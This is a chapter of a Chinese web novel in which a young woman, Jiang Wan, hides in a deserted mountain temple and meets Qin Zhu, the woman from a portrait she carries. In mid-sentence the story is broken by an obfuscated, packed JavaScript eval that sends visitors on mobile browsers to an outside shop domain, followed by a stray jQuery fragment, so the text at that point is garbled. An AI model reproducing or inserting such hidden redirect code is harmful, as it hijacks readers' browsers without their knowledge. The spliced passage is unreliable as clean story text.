正宁十九年夏,陵南府常山天生异象,黑云遮日惊雷数起,翌日云散,山无异状。同年,京城流言有阴器现世,恐使生灵涂炭。传闻国师日夜做法观星,皇帝下令兴修庙宇祭祀。
正宁二十二年,冬,邵州临湘县。
更夫的梆子在铜锣上快打了最后一下,姜绾缩着脖子从客栈门口探出头,紧紧抱着手中包袱左右瞧了下快步坐到旁边刚支开的包子铺里。
五更三刻,天还是黑的,干冷的风吹在身上,冻得姜绾打了个哆嗦,紧了紧怀里的包袱,朝老板催了两声。
那老板朗声应后,感叹了声:“这才刚入冬……怎么一年比一年冷!”
姜绾缩在摊子角落,闻言扯唇笑笑,权当回应,在她没看到的地方,有位大叔也来了摊子,恰好听着这句,便搭着老板的话聊:“是啊,前些日子我女儿来信,说是峡州都下了雪,你说吓不吓人。”
老板知道这叔又在炫耀他女儿嫁了个好人家,笑得体面,实则敷衍完事,将人赶到一边坐着,另起话头:“近两年是邪门了点,莫不是和那传言有关系。”
这位叔正好坐在姜绾对面,侧着身子转去和老板说话,把正在风头的姜绾堵了个严严实实。
她立刻攥着包袱把脑袋埋得更低,听面前的大叔叨叨:“有关系又咋了,咱也只能盯着每天三顿饭——今儿咋这么慢!”
终于问道姜绾心头了,她赶紧抬头去看那蒸笼里的包子。
旁边老板赶忙解释:“快了快了,这不是老孔他媳妇一大早找来说老孔不见了,跟我媳妇在那说道了一会,耽搁了耽搁了。”
大叔装着骂了两句,转过来看到缩成一团的姜绾,盯着上下扫了两眼,又转回去,嫌弃地说:“老孔……就三天两头跳河那个?”
“说的是啊……”
姜绾听到老板说话声音变小,抬头去看,那头热腾腾的白气冒得老高,是包子好了。
她急忙站起来从老板手里抢来裹包子的油纸,匆匆道了谢后转身向城门迈着急促的步子。
临湘县外围着些不高的山林,山路大多平缓。可再好走的路,碰上这半黑不亮的天,也走得艰难。
奇怪的是,姜绾宁愿这么摸着黑,也不愿点把火,甚至脚步稳着,小心翼翼地控制着尽量不发出声音。
走了不久,姜绾鼻间呼出长长一条白气,快步跑向眼前的一处荒庙。
前些年修了不少寺庙,意在祭神保运,可谁知道怎么回事,这两年天冷得越发早,雨水还少,收成不好百姓日子都过不下去,哪还有闲心来添香火。
所以这山野间新建的许多庙宇,倒是便宜了那些赶路人。
姜绾在门口清了清嗓子,侧耳听了听,没见什么动静后,便收了裙摆跨过门槛,却在踩到地面的时候不小心滑了一下。
这天寒地冻摔一下可不得了,她急忙扶着门板,然而竟又摸了一手粘腻。
这触感实在不太美妙,一瞬间闪进姜绾脑海里的画面繁多,把她吓得迅速弹开手,另一只脚都还没踏进门槛,上一只脚就已经慌忙着要向一边躲。
好不容易维持着这个凌乱的姿势,姜绾在刚刚打滑的地方又是一个踉跄,后脚绊到门槛,不过好在她及时稳住身形,只是撞在了墙上。
姜绾痛呼一声,又想到什么捂住嘴巴,然后整个人顿住,愣愣移开手。
身后破烂窗缝中漏来一束浅光打在手心,摊开的手掌上糊着一团黑,就是刚才摸到门板上的东西,闻着没有血腥味,倒像是——她捻着手指,倒像是泥巴。
手心的泥巴薄薄一层,滑腻非常,没有半点干粘在皮肤上,却又牢牢挂着手,一滴都流不下去。
姜绾表情皱皱巴巴,另一只手揉着肩膀,寻到角落里攒了一圈干草点燃,认真搓着手好一会,将那泥巴尽数划去,这才舒服,扭头去看刚才门槛的地方。
从木门槛延伸到里面的石板地上,有到深深印记,小臂多宽一点,一直延伸到她所在的角落前一点,就因为光线看不到了。
她又往墙角坐了坐,打量四周。
荒庙很小,朝前四五步便是个盖着布的香案和看不出样貌材质的神像,这边火堆太小,只能映出那头像的大概轮廓,很端正。
姜绾看着那座灰蒙蒙的像,竟觉得这像雕得似乎是个女子。
啊对,女子。她表情忽然变得懊恼,将缩在袖子里的手伸出半掌拢在嘴前哈着气搓了搓,活动两下将胸前膝盖夹着的小包袱拆开。
从里面叮铃铃一堆里翻出一张压皱的纸,很小,不过手掌大一点。
破窗又灌进一些风,吹得火苗晃动,手中纸差些飞走,姜绾用力握住,忍着那寒风过去,将纸展开,凑近火堆去看纸上的内容——是张画像,半身的女子像。
干草烧不了一会就没了,姜绾只能又去别处找些树枝继续点燃,开始烧的不够旺,她只能再凑近点。
细眉斜飞入鬓,狭长的眼低垂,唇倒不和眉眼那般似的薄,可姜绾将那整张脸放一起瞧着,依旧觉得这姑娘看上去不太好亲近。
她又将那纸抹的平了些,发现和鼻梁一起被特意勾出来的,还有耳边的一个黑点。
是手滑了?
姜绾盯得眼酸,看上看下没看出别的了,便将纸翻过去,空白的一片,只有左下角标着两个字。
这张像因为一些原因姜绾并不愿意多看,所以也没有发现这后面的小字。
纸背面被渗了些墨迹,因而这两个小字很难辨认,她把头凑得极近,又将纸使劲往光源靠,直把自己看出了一头细汗。
“岑……”
刚看出些名堂,外面忽然传来一道十分敞亮的脚步声,枯枝被那人在脚下踩得毫不留情。
咔嚓脆响在这荒无人烟的地方宛如平地炸雷,更别说姜绾这一路做贼似的,一下子被惊得一抖,手指一松那纸便直直落下,被近在咫尺的火舌吞了大半。
“欸!”
姜绾急急要去捡,然而那纸实在小了些,剩下一半还不等她拯救,就已经成为烤火的燃料。
而她也来不及惋惜,系好包袱胡乱踢了刚坐着的位置,踮着脚缩在神像和香案之间。来人也并不像是路过,那脚步声一声比一声大,显然是朝着这荒庙而来。
姜绾屏住呼吸,默默祈祷这只是个寻常过路人,一边扒开香案厚布一侧的破洞,瞪大眼睛盯着门口。
天色依旧昏暗,远处那道身影清瘦高挑,步履稳健,身上没带任何东西,也没有同行之人。可却有说话声传来。
“这?别动。”
女声沉沉的,带着倦意,但这都不是重点,重点是这话为何像是在对别人说的?哪里有人!
姜绾莫名觉得身上发毛,大气都不敢喘,眼珠滴溜溜转着琢磨等会该如何跑。
那道身影终于到了庙中,靠近火光,看得更加清晰。
来人穿着豆绿色的粗布麻衣,墨发尽数被一根木簪挽在头顶,只额角因赶路散落了些碎发,腰间挂着两个奇怪的东西,随着步伐发出沉闷的声音。
这装扮从外面进来,姜绾都顾不上发毛了,只替她感觉冻得慌,默默打了个寒颤。而在看到这女子站在庙中环顾一圈,对着空无一人的屋子问话时,姜绾恨不得就地消失。
“是这就动一下。”
“没鬼……但有人。”
姜绾听见这句话腿都软了,大冷天硬是吓出一身汗,抱着膝盖轻轻张开嘴无声喘气。
她颤巍巍对着那破洞望出去,小小一破口里,那抹绿色正好转身,柴火在她的脚下燃得正旺,噼里啪啦的。
那人居高临下回眸,火光照亮了半边身子,和她来了个深情对望。
姜绾:……
尽管常识告诉姜绾,这么黑的环境这么小的洞,打死都不可能看到她。但是情况摆在眼前,任谁见到这场景都难免慌乱。
而且最主要的是,那晃动火光映照下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562343|142769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的面庞,正是此前那张画上的女子,包括鬓边耳前的那一点,不是什么手滑遗墨,是痣。
姜绾被惊得急喘了一声,一时来不及反应自己被发现了是该尴尬,还是碰见了画中人该高兴。
于是发出了动静之后她依旧是窝在那香案下面没挪一下。
“出来。”外面的女子反应平淡,倒果然如姜绾所想一般,连语气都带着冰碴子。
“腿麻了……”姜绾弱弱道。
已经退开两步的芩竹又默默站回来,上前几步,一把掀掉了香案上的布,撒开手撤开。
案下的人看着十七八岁,一身鹅黄,同色系的发带缠着发髻,搭在那张苦着的小脸旁边,怀里抱着个灰朴朴的包袱。
见到她的一瞬间,又赶忙换上个略显谄媚的笑容,“嘿嘿”两声从案下爬出来,撑着桌子站直,道:“天还没亮,姑娘就出门赶路啊……”
芩竹上下扫视她一番,发现这人身上活气比自己还重后,别开眼,点了点头。
而姜绾热脸贴冷屁股丝毫不介意,继续追问:“我叫姜绾,绞丝放个官,你呢?”
“芩竹,草今芩,竹林的竹。”
芩竹没有在原地站着,正沿着墙根走着,像是在找什么,看上去爱搭不理的,但姜绾问她就答。
这倒是让姜绾生出些信心:“我还以为是岑——”她喃喃说着,耳边又响起芩竹诡异的自言自语:“是有……”
姜绾一听这动静就难受,总觉得芩竹是不是脑袋有些毛病,怪瘆人的,可瞧着也不像是着了相。
她自我纠结一番,还是没忍住,在芩竹看完火堆所在的那半边,逐渐靠近香案自己的位置时,姜绾尽量让她的声音显得不是那么冒昧,甜甜地问:“你是在和我说话吗?”
芩竹把放在神像上的目光移在眼前这个态度奇怪的姑娘身上,摇头道:“不是。”
“啊,哈哈,那是——”
“他。”
姜绾呆滞的“啊”了一声,迷茫地环视一周,听见了熟悉的沉闷敲击声,便闻声低头。
看见芩竹正伸手勾着腰带上挂着的黑色的碎块晃着。说是碎块,是因为它形状一点不规矩,和被摔碎了一样,只有拇指那般大小,还被戳了孔穿了绳。
芩竹收回手,那碎块落下,就会和同它挂在一起的巴掌大小的素木牌碰上。
那木牌不知道被这碎块撞了多久,油光锃亮的牌子斜着道丑陋的裂纹,从左上劈来右下,裂得实在,但木牌依旧整个黏得整齐牢固,没有要断掉的样子。
姜绾盯着她腰间,干笑出声。
谁会对这个死物说话?这姑娘可能真是有毛病。
芩竹不知她心中所想,回答完问题便掠过她抬手拍拍香案,又往前走着看着。
末了继续说一句:“没有就走了。”
姜绾:……
她清清嗓子,凑上前去,却觉得脚有些麻,使劲跺跺脚才抬起,就这样脚下都似有千斤重。
可她急着说话,也没顾上这半点的奇怪,追着芩竹小声说:“这两年不太平,你一个姑娘家家出门难免遭人惦记,要不你我同行如何?”
芩竹这会走到神像另一头,
因为看不清,所以伸手摸索着,划过一片湿滑的东西,她收回手转身靠近鼻尖闻了闻,恰好和追来的姜绾撞上。
两人身高差不多,她眼疾手快偏开手,不至于叫这人碰到,又退开两步摇头:“不用。”
姜绾注意到她的动作,踮脚去看她收在一边的手,指着那指尖说:“那是泥,门上也有的,就是不太好擦,我这里有手帕可以借你啊!”
这种天气,荒庙里为什么会有这么湿润的泥?
芩竹按下她拆包袱的手,继续转回刚才神像一角,可天色未亮,角落被墙壁神像还有她挡得更是黢黑,什么也看不到。
正要上手拍拍,脸侧伸来一只手,接着耳边的碎发被一口气吹得乱飘。